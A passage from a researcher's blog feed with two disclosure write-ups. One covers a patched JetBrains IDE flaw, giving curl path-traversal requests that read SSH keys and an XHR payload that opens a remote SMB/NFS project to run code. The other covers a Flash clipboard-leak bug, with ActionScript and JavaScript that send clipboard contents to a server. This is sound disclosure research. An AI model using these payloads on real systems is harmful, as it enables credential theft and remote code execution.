</span><span class='line'>  <span class="nt">&quot;systemPath&quot;</span><span class="p">:</span> <span class="s2">&quot;/home/user/.PyCharm2016.1/system&quot;</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;binPath&quot;</span><span class="p">:</span> <span class="s2">&quot;/home/user/opt/pycharm/bin&quot;</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;logPath&quot;</span><span class="p">:</span> <span class="s2">&quot;/home/user/.PyCharm2016.1/system/log&quot;</span><span class="p">,</span>
</span><span class='line'>  <span class="nt">&quot;homePath&quot;</span><span class="p">:</span> <span class="s2">&quot;/home/user/opt/pycharm&quot;</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Once we&rsquo;ve opened the <code>helpers</code> project, we determine the user&rsquo;s home directory from the <code>/api/about?more=true</code> response and use that to construct a URL to their SSH keys like <code>/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/&lt;user&gt;/.ssh/id_rsa</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>curl -v <span class="s2">&quot;http://localhost:63342/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa&quot;</span>
</span><span class='line'>&gt; GET /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa HTTP/1.1
</span><span class='line'><span class="o">[</span>...<span class="o">]</span>
</span><span class='line'>&gt;
</span><span class='line'>&lt; HTTP/1.1 <span class="m">200</span> OK
</span><span class='line'>&lt; content-type: application/octet-stream
</span><span class='line'>&lt; server: PyCharm 5.0.4
</span><span class='line'><span class="o">[</span>...<span class="o">]</span>
</span><span class='line'>&lt;
</span><span class='line'>ssh-rsa AAAAB3NzaC<span class="o">[</span>...<span class="o">]</span>
</span></code></pre></td></tr></table></div></figure>


<p></p>

<h2>Exploitation under Windows is much easier</h2>

<p>The above trick with opening the <code>helpers</code> directory that ships with PyCharm obviously only works if the user has PyCharm 2016.1 installed, everywhere else we still have to guess an open project name. How about something that works reliably with the other JetBrains IDEs like IntelliJ IDEA and Android Studio?</p>

<p>Since the <code>jetbrains://project/open</code> handler lets us pass a completely arbitrary path for the project to open, <a href="https://msdn.microsoft.com/en-us/library/gg465305.aspx">UNC paths</a> are an obvious choice. UNC paths are a windows-specific path form that allows you to reference files on a network share, and they like <code>\\servername\sharename\filepath</code>. Many of Windows&#8217; file APIs (and the Java APIs that wrap them) will happily take UNC paths and transparently connect to an SMB share on another computer, allowing you to read and write to the remote files as if they were local. If we can get the IDE to open a project from our SMB share, we won&rsquo;t need to guess at what projects might be on the victim&rsquo;s computer.</p>

<p>To test, I set up a remote Samba instance with an unauthenticated SMB share named &ldquo;anontesting&rdquo; that contained a JetBrains project, then tried opening it:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='bash'><span class='line'><span class="nv">$ </span>curl -v <span class="s2">&quot;http://127.0.0.1:63342/api/internal&quot;</span> --data <span class="s1">&#39;{&quot;url&quot;: &quot;jetbrains://whatever/open/\\\\smb.example.com\\anonshare\\testing&quot;}&#39;</span>
</span></code></pre></td></tr></table></div></figure>


<p>Great. Assuming the victim&rsquo;s ISP doesn&rsquo;t block outbound SMB traffic (due to the large number of worms that have historically propagated via SMB vulns) we can get them to load an arbitrary project from an SMB share we control.</p>

<h3>The impact under Windows is much worse</h3>

<p>Wait a second, seems like we can do something a lot more interesting than arbitrary file reads. With one request we can get Windows users to load an attacker-controlled project from our remote SMB share. There&rsquo;s almost certainly abuse potential here, and we don&rsquo;t have to look far to find it.</p>

<p>The projects for each of JetBrains&#8217; IDEs have a notion of startup tasks. In PyCharm you can have a Python script run automatically on project load, and similarly on Android Studio and IntelliJ IDEA you can have a <code>.jar</code> run. Here I&rsquo;ve made it so that the <code>hax.py</code> script in the project root will be automatically run when the project opens:</p>

<p><img src="http://blog.saynotolinux.com/images/posts/jetbrains/startup_tasks.png"></p>

<p><img src="http://blog.saynotolinux.com/images/posts/jetbrains/startup_tasks2.png"></p>

<p>Now we just need to add a <code>hax.py</code> file to our project root containing:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="kn">import</span> <span class="nn">os</span>
</span><span class='line'>
</span><span class='line'><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s">&quot;calc.exe&quot;</span><span class="p">)</span>
</span></code></pre></td></tr></table></div></figure>


<p>We then put the project on our anonymous SMB share, and host a page with our payload that will cause the victim to load the malicious project:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt">&lt;script&gt;</span>
</span><span class='line'><span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span><span class='line'><span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;http://127.0.0.1:63342/api/internal&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span><span class='line'><span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s1">&#39;{&quot;url&quot;: &quot;jetbrains://whatever/open/\\\\\\\\123.456.789.101\\\\anonshare\\\\testing&quot;}&#39;</span><span class="p">);</span>
</span><span class='line'><span class="nt">&lt;/script&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>As soon as the victim navigates to that page, our payload will trigger and the calculator will open:</p>

<p><img src="http://blog.saynotolinux.com/images/posts/jetbrains/calc.png"></p>

<p><a href="https://www.youtube.com/watch?v=JZdG07NgBWo">Decent</a>.</p>

<h2>Turns out OS X wasn&rsquo;t any safer</h2>

<p>After this post was initially published <a href="https://news.ycombinator.com/item?id=12293788">comex pointed out</a> that OS X will auto-mount remote NFS shares when you access them via the <code>/net</code> <code>autofs</code> mountpoint. That means exploiting the RCE under OS X is pretty similar to Windows, but we create an anonymous NFS share and open <code>/net/&lt;hostname&gt;/&lt;sharename&gt;/&lt;projectname&gt;</code>:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'>$ curl -v &quot;http://127.0.0.1:63342/api/internal&quot; --data &#39;{&quot;url&quot;: &quot;jetbrains://whatever/open//net/nfs.example.com/anonshare/testing&quot;}&#39;
</span></code></pre></td></tr></table></div></figure>


<p>with the HTML PoC looking something like:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='html'><span class='line'><span class="nt">&lt;script&gt;</span>
</span><span class='line'><span class="kd">var</span> <span class="nx">xhr</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span>
</span><span class='line'><span class="nx">xhr</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;http://127.0.0.1:63342/api/internal&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
</span><span class='line'><span class="nx">xhr</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s1">&#39;{&quot;url&quot;: &quot;jetbrains://whatever/open//net/nfs.example.com/anonshare/testing&quot;}&#39;</span><span class="p">);</span>
</span><span class='line'><span class="nt">&lt;/script&gt;</span>
</span></code></pre></td></tr></table></div></figure>


<p>This likely applies to any *NIX-like with an <code>autofs</code> mountpoint that uses <code>-hosts</code>, but OS X is the only OS I could find where <code>autofs</code> is configured like this in the default install.</p>

<p><img src="http://blog.saynotolinux.com/images/posts/jetbrains/osx_calc.png"></p>

<h1>PoCs</h1>

<ul>
<li><a href="http://saynotolinux.com/tests/jetbrains/minimal.html">Minimal file leaking PoC</a></li>
<li><a href="http://saynotolinux.com/tests/jetbrains/sleuth.html">Weaponized file leaking PoC</a></li>
<li>No live PoC for the Windows or OS X RCEs &lsquo;cause I don&rsquo;t want to host public-facing SMB or NFS shares :)</li>
</ul>


<h1>Remediation</h1>

<p>JetBrains took several steps that I&rsquo;m aware of to remediate this:</p>

<ul>
<li>All requests to the local HTTP server now require an unguessable auth token to be included in the request, or the server will return a <code>4xx</code> status code.</li>
<li>The problematic CORS policies were removed entirely</li>
<li>The <code>Host</code> header&rsquo;s value is now validated to prevent similar exploits via DNS rebinding</li>
</ul>


<h1>Vendor response</h1>

<h2>Interactions with the vendor</h2>

<p>I&rsquo;d like to specifically thank Hadi Hariri and the rest of the JetBrains team for their proactive response to my report. My email requesting a security contact was answered within an hour of my sending it, and the issue was resolved relatively quickly.</p>

<p>They sent me a patchset against <code>intellij-community</code> and a binary build with their proposed solutions, and were receptive to my feedback when I mentioned potential issues.</p>

<p>Lastly, even though Jetbrains doesn&rsquo;t have a bug bounty program that I&rsquo;m aware of, and I definitely wasn&rsquo;t expecting anything, Jetbrains quite generously awarded a bounty of $50,000 for my report and help reviewing the patch. I&rsquo;ve asked them to donate the bulk of this to the PyPy project to fund improved Python 3 support, fingers crossed for <code>await/async</code> support in PyPy :).</p>

<h2>Disclosure Timeline</h2>

<ul>
<li>2016-04-04 - Discovered the local file disclosure issue</li>
<li>2016-04-06 - Requested a security contact from the vendor</li>
<li>2016-04-06 - Vendor replies with security contact information, requests vulnerability details</li>
<li>2016-04-07 - Sent the vendor a PoC for the local file disclosure vulnerability</li>
<li>2016-04-10 - Sent the vendor a more detailed report with remediation steps and details about the RCE on Windows</li>
<li>2016-04-12 - Vendor responds that they are working on a patch</li>
<li>2016-04-14 - Vendor responds with a patch against the open-source <code>intellij-community</code> repo for review</li>
<li>2016-04-14 - Sent feedback to the vendor requesting changes to the patch, along with mitigation bypass PoCs</li>
<li>2016-04-15 - Vendor responds that they are working on an updated patch that addresses the concerns</li>
<li>2016-04-26 - Vendor indicates that they plan to release a patch soon</li>
<li>2016-05-11 - Coordinated release of security patches for all JetBrains IDEs, <a href="http://blog.jetbrains.com/blog/2016/05/11/security-update-for-intellij-based-ides-v2016-1-and-older-versions/">security advisory published</a>.</li>
</ul>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Leaking Clipboard Contents With Flash: Let's Explore User-Initiated Actions!]]></title>
    <link href="http://blog.saynotolinux.com/blog/2015/08/02/pastejacking-abusing-flash-to-leak-and-manipulate-clipboad-contents/"/>
    <updated>2015-08-02T01:44:46-07:00</updated>
    <id>http://blog.saynotolinux.com/blog/2015/08/02/pastejacking-abusing-flash-to-leak-and-manipulate-clipboad-contents</id>
    <content type="html"><![CDATA[<p>(NOTE: This article has been sitting in my drafts since May 2014. I am very lazy.)</p>




<h2>TL;DR</h2>




<p>Flash only allows read access to the clipboard in event handlers triggered by <code>paste</code> events, but Flash wasn&rsquo;t checking if the clipboard contents had changed since entering the event handler. Due to quirks in how Flash&rsquo;s event handlers work, an attacker could read from and write to the clipboard for hours after the user navigated away from page containing the SWF, even after navigating away or closing the incognito window.</p>




<p><a href="http://blog.saynotolinux.com/images/posts/flash-clip/clipstealer.gif"><img class="center" src="http://blog.saynotolinux.com/images/posts/flash-clip/clipstealer.gif"></a></p>




<!--more-->




<h2>Intro</h2>




<p>All that messing around with Flash in my previous posts made me think that I should read more into Flash security. Even if you hate Flash as a user, it&rsquo;s deployed pretty much everywhere and it&rsquo;s valuable attack surface! It ended up paying off, after a couple days of testing and reading the docs, I was left with a new bug, <a href="https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0504">CVE-2014-0504</a>:</p>




<p>Let&rsquo;s go into the combination of issues and possibly surprising behaviour in Flash that allowed clipboard leaking.</p>




<h2>User-initiated actions and clipboard access in Flash</h2>




<p>This isn&rsquo;t the first time Flash has had issues with clipboard access. Back in the days of Flash 9, you could write to the clipboard with no interaction at all. <a href="http://news.bbc.co.uk/2/hi/technology/7567889.stm">That caused a few problems</a>, so when Flash 10 rolled around, <a href="http://www.adobe.com/devnet/flashplayer/articles/fplayer10_uia_requirements.html">Adobe added a few restrictions to clipboard functionality</a>:</p>




<p>First, the new <code>Clipboard</code> API only allowed writing to the clipboard when inside certain event handlers (<code>mousedown</code>, <code>keydown</code>, <code>copy</code>, etc.)</p>




<p>Second, that event handler had to have been triggered by user interaction, meaning that event handlers triggered by <code>dispatchEvent</code> et al. cannot write to the clipboard.</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="n">element</span><span class="o">.</span><span class="na">addEventListener</span><span class="o">(</span><span class="n">MouseEvent</span><span class="o">.</span><span class="na">CLICK</span><span class="o">,</span> <span class="kd">function</span><span class="o">(</span><span class="n">event</span><span class="o">:</span><span class="n">Event</span><span class="o">):</span><span class="kc">void</span> <span class="o">{</span>
</span><span class='line'>    <span class="n">Clipboard</span><span class="o">.</span><span class="na">generalClipboard</span><span class="o">.</span><span class="na">setData</span><span class="o">(</span><span class="n">ClipboardFormats</span><span class="o">.</span><span class="na">TEXT_FORMAT</span><span class="o">,</span> <span class="s2">&quot;Yo dude!&quot;</span><span class="o">);</span>
</span><span class='line'><span class="o">});</span>
</span></code></pre></td></tr></table></div></figure>




<p>Additionally, a method allowing you to <em>read</em> from the clipboard was added. This was restricted even more, and could only be called inside user-initiated <code>paste</code> events.</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="n">element</span><span class="o">.</span><span class="na">addEventListener</span><span class="o">(</span><span class="n">Event</span><span class="o">.</span><span class="na">PASTE</span><span class="o">,</span> <span class="kd">function</span><span class="o">(</span><span class="n">event</span><span class="o">:</span><span class="n">Event</span><span class="o">):</span><span class="kc">void</span> <span class="o">{</span>
</span><span class='line'>    <span class="n">var</span> <span class="n">contents</span> <span class="o">=</span> <span class="n">Clipboard</span><span class="o">.</span><span class="na">generalClipboard</span><span class="o">.</span><span class="na">getData</span><span class="o">(</span><span class="n">ClipboardFormats</span><span class="o">.</span><span class="na">TEXT_FORMAT</span><span class="o">);</span>
</span><span class='line'>    <span class="c1">//...snip</span>
</span><span class='line'><span class="o">});</span>
</span></code></pre></td></tr></table></div></figure>




<h2>Overstaying our welcome</h2>




<p>We&rsquo;ve established that to call <code>Clipboard.getData</code> we <em>must</em> be in a <code>paste</code> event handler, and that handler <em>must</em> have been triggered by the user. As far as I can tell, there&rsquo;s no way around that. Can we still abuse it?</p>




<p>The obvious thing to check is if we can block inside the event handler. In many browsers, blocking in an event handler in Flash will cause a plugin hang, and a prompt to kill the plugin will spawn. Chrome, however, keeps right on trucking, even when Flash is executing something like <code>while(true){;}</code> <sup id="fnref:1"><a href="#fn:1" rel="footnote">1</a></sup>. The UI and JavaScript all work as usual, a prompt to kill the plugin will only be displayed if the user opens another tab that uses Flash. Actually, our handler will continue to execute even when the tab containing our SWF is closed!</p>




<h2>Enjoying the view</h2>




<p>Given that we aren&rsquo;t really penalized for sitting around in a privileged event handler, there&rsquo;s nothing to stop us from just calling <code>Clipboard.getData()</code> in a loop and checking for changes. We can just get the user to paste something non-sensitive, then abuse our clipboard access to read sensitive information that gets added to it later.</p>




<p>Here&rsquo;s a basic demonstration of the issue:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="k">import</span> <span class="nn">flash.desktop.</span><span class="o">*;</span>
</span><span class='line'>
</span><span class='line'><span class="kd">protected</span> <span class="kd">function </span><span class="nf">init</span><span class="o">():</span><span class="kt">void</span> <span class="o">{</span>
</span><span class='line'>    <span class="c1">// Where jackTarget is a sprite that receives paste events</span>
</span><span class='line'>    <span class="n">jackTarget</span><span class="o">.</span><span class="na">addEventListener</span><span class="o">(</span><span class="n">Event</span><span class="o">.</span><span class="na">PASTE</span><span class="o">,</span> <span class="n">logClipboard</span><span class="o">);</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">protected</span> <span class="kd">function </span><span class="nf">logClipboard</span><span class="o">(</span><span class="n">event</span><span class="o">:</span><span class="kt">Event</span><span class="o">):</span><span class="kt">void</span> <span class="o">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="n">lastCB</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
</span><span class='line'>    <span class="k">while</span><span class="o">(</span><span class="kc">true</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>        <span class="c1">// Try not to peg the CPU too much</span>
</span><span class='line'>        <span class="n">__sleep</span><span class="o">(</span><span class="mi">1000</span><span class="o">);</span>
</span><span class='line'>        <span class="kd">var</span> <span class="n">newCB</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="n">Clipboard</span><span class="o">.</span><span class="na">generalClipboard</span><span class="o">.</span><span class="na">getData</span><span class="o">(</span><span class="n">ClipboardFormats</span><span class="o">.</span><span class="na">TEXT_FORMAT</span><span class="o">)</span> <span class="k">as</span> <span class="n">String</span><span class="o">;</span>
</span><span class='line'>        <span class="k">if</span><span class="o">(</span><span class="n">newCB</span> <span class="o">!=</span> <span class="n">lastCB</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>            <span class="n">ExternalInterface</span><span class="o">.</span><span class="na">call</span><span class="o">(</span><span class="s2">&quot;alert&quot;</span><span class="o">,</span> <span class="n">newCB</span><span class="o">);</span>
</span><span class='line'>        <span class="o">}</span>
</span><span class='line'>    <span class="o">}</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'>
</span><span class='line'><span class="kd">private</span> <span class="kd">static</span> <span class="kd">function </span><span class="nf">__sleep</span><span class="o">(</span><span class="n">ms</span><span class="o">:</span><span class="kt">int</span><span class="o">):</span><span class="kt">void</span> <span class="o">{</span>
</span><span class='line'>    <span class="kd">var</span> <span class="n">target</span><span class="p">:</span><span class="kt">Date</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">Date</span><span class="o">();</span>
</span><span class='line'>    <span class="n">target</span><span class="o">.</span><span class="na">time</span> <span class="o">+=</span> <span class="n">ms</span><span class="o">;</span>
</span><span class='line'>    <span class="k">while</span><span class="o">(</span><span class="k">new</span> <span class="kt">Date</span><span class="o">()</span> <span class="o">&lt;</span> <span class="n">target</span><span class="o">)</span> <span class="o">{</span> <span class="o">;</span> <span class="o">}</span>
</span><span class='line'><span class="o">}</span>
</span></code></pre></td></tr></table></div></figure>




<h2>Roadblocks to real-world exploitability</h2>




<h3>Getting the initial paste event</h3>




<p>To trigger the exploit, we <em>need</em> to convince the victim to paste something into our SWF. There are a number of usage patterns we could abuse to do that, but I liked <a href="http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html">the fake captcha method</a> kkotowicz used for his cross-domain content extraction attack. We give the user a random string, and ask them to paste it into &ldquo;verification box&rdquo; (actually our SWF,) telling them it&rsquo;s required to prove they&rsquo;re not a bot:</p>




<p><a href="http://blog.saynotolinux.com/images/posts/flash-clip/usage-pattern.png"><img class="center" src="http://blog.saynotolinux.com/images/posts/flash-clip/usage-pattern.png"></a></p>




<h3>Flash&rsquo;s scriptTimeLimit</h3>




<p><a href="http://help.adobe.com/en_US/flex/using/WS2db454920e96a9e51e63e3d11c0bf69084-7b09.html#WS2db454920e96a9e51e63e3d11c0bf67110-7ff6">Flash will not allow</a> a single event handler to run for longer than 60 seconds. A 60 second window for clipboard access is obviously not ideal for us.</p>




<p>Luckily, the time limit is on <em>individual</em> event handlers, and <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/events/Event.html#PASTE">the paste event bubbles</a>. We can just give our paste target tons of parent elements that also handle <code>paste</code> events, and allow the event to bubble up before the handler gets killed, Then we can log the clipboard for <code>60~ seconds * \&lt;num of parents\&gt;</code>:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="kd">function </span><span class="nf">wrapInListeners</span><span class="o">(</span><span class="n">what</span><span class="o">:</span><span class="kt">Sprite</span><span class="o">,</span> <span class="n">eventType</span><span class="o">:</span><span class="kt">String</span><span class="o">,</span> <span class="n">handler</span><span class="o">:</span><span class="kt">Function</span><span class="o">):</span><span class="kt">Sprite</span> <span class="o">{</span>
</span><span class='line'>    <span class="n">what</span><span class="o">.</span><span class="na">addEventListener</span><span class="o">(</span><span class="n">eventType</span><span class="o">,</span> <span class="n">handler</span><span class="o">);</span>
</span><span class='line'>    <span class="kd">var</span> <span class="n">highest</span><span class="p">:</span><span class="kt">Sprite</span> <span class="o">=</span> <span class="n">what</span><span class="o">;</span>
</span><span class='line'>
</span><span class='line'>    <span class="c1">// Wrap the element in HBoxes that will handle the event when it bubbles up.</span>
</span><span class='line'>    <span class="k">for</span><span class="o">(</span><span class="kd">var</span> <span class="n">i</span><span class="p">:</span><span class="kt">int</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">140</span><span class="o">;</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>        <span class="kd">var</span> <span class="n">hbox</span><span class="p">:</span><span class="kt">HBox</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">HBox</span><span class="o">();</span>
</span><span class='line'>        <span class="n">hbox</span><span class="o">.</span><span class="na">addChild</span><span class="o">(</span><span class="n">highest</span><span class="o">);</span>
</span><span class='line'>        <span class="n">hbox</span><span class="o">.</span><span class="na">addEventListener</span><span class="o">(</span><span class="n">eventType</span><span class="o">,</span> <span class="n">handler</span><span class="o">);</span>
</span><span class='line'>        <span class="n">highest</span> <span class="o">=</span> <span class="n">hbox</span><span class="o">;</span>
</span><span class='line'>    <span class="o">}</span>
</span><span class='line'>
</span><span class='line'>    <span class="k">return</span> <span class="n">highest</span><span class="o">;</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'><span class="c1">//...snip</span>
</span><span class='line'><span class="n">wrapInListeners</span><span class="o">(</span><span class="n">target</span><span class="o">,</span> <span class="n">Event</span><span class="o">.</span><span class="na">PASTE</span><span class="o">,</span> <span class="n">tempJackClipboard</span><span class="o">);</span>
</span></code></pre></td></tr></table></div></figure>




<h3>Leaking clipboard contents to a remote server</h3>




<p>Unfortunately, I couldn&rsquo;t find a way to make Flash send HTTP requests while inside the event handler. However, we can pass the data to JavaScript and have <em>it</em> send the data to our servers, since our ActionScript handlers won&rsquo;t block JS:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="n">ExternalInterface</span><span class="o">.</span><span class="na">call</span><span class="o">(</span><span class="s1">&#39;leakData&#39;</span><span class="o">,</span> <span class="n">Clipboard</span><span class="o">.</span><span class="na">generalClipboard</span><span class="o">.</span><span class="na">getData</span><span class="o">(</span><span class="n">ClipboardFormats</span><span class="o">.</span><span class="na">TEXT_FORMAT</span><span class="o">)</span> <span class="k">as</span> <span class="n">String</span><span class="o">);</span>
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
</pre></td><td class='code'><pre><code class='javascript'><span class='line'><span class="kd">function</span> <span class="nx">leakData</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
</span><span class='line'>   <span class="p">(</span><span class="k">new</span> <span class="nx">Image</span><span class="p">()).</span><span class="nx">src</span> <span class="o">=</span> <span class="s2">&quot;/leak?data=&quot;</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>




<p>The <code>ExternalInterface</code> method has the caveat that it will longer work after we&rsquo;ve navigated away from the page or the tab was closed, even though our event handler will continue to run. As a fallback, we can use <a href="http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/Socket.html">Flash&rsquo;s TCP socket support</a>, which allows synchronous communication. Again, with a caveat that it only seems allow sending a single message while in the event handler <sup id="fnref:2"><a href="#fn:2" rel="footnote">2</a></sup>:</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class='as3'><span class='line'><span class="c1">// Initialization code...</span>
</span><span class='line'><span class="kd">var</span> <span class="n">leakSocket</span><span class="p">:</span><span class="kt">Socket</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">Socket</span><span class="o">();</span>
</span><span class='line'><span class="kd">var</span> <span class="n">url</span><span class="p">:</span><span class="kt">String</span> <span class="o">=</span> <span class="n">loaderInfo</span><span class="o">.</span><span class="na">url</span><span class="o">;</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span><span class="n">URLUtil</span><span class="o">.</span><span class="na">isHttpURL</span><span class="o">(</span><span class="n">url</span><span class="o">)</span> <span class="o">||</span> <span class="n">URLUtil</span><span class="o">.</span><span class="na">isHttpsURL</span><span class="o">(</span><span class="n">url</span><span class="o">))</span> <span class="o">{</span>
</span><span class='line'>    <span class="c1">// Set up socket comms with the server</span>
</span><span class='line'>    <span class="n">leakSocket</span><span class="o">.</span><span class="na">connect</span><span class="o">(</span><span class="n">URLUtil</span><span class="o">.</span><span class="na">getServerName</span><span class="o">(</span><span class="n">url</span><span class="o">),</span> <span class="mi">5190</span><span class="o">);</span>
</span><span class='line'><span class="o">}</span>
</span><span class='line'>
</span><span class='line'><span class="c1">// Inside paste event handler...</span>
</span><span class='line'><span class="k">if</span><span class="o">(</span><span class="n">leakSocket</span><span class="o">.</span><span class="na">connected</span><span class="o">)</span> <span class="o">{</span>
</span><span class='line'>    <span class="n">leakSocket</span><span class="o">.</span><span class="na">writeUTFBytes</span><span class="o">(</span><span class="n">encoded</span><span class="o">);</span>
</span><span class='line'>    <span class="c1">// only seems to work once while within the handler</span>
</span><span class='line'>    <span class="n">leakSocket</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
</span><span class='line'><span class="o">}</span>
</span></code></pre></td></tr></table></div></figure>




<h2>Going the extra mile</h2>




<p>So we can leak the clipboard remotely even after navigating away. That&rsquo;s neat, but we can actually do a lot more! Remember how Flash allows us to <em>write</em> to the clipboard in certain handlers as well? That lets us do all sorts of sneaky things, like detect when someone copies what looks like HTML, and then modify it to include a malware script. Even better, we can detect clipboard contents that look like commands and slip our own payload into them!</p>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
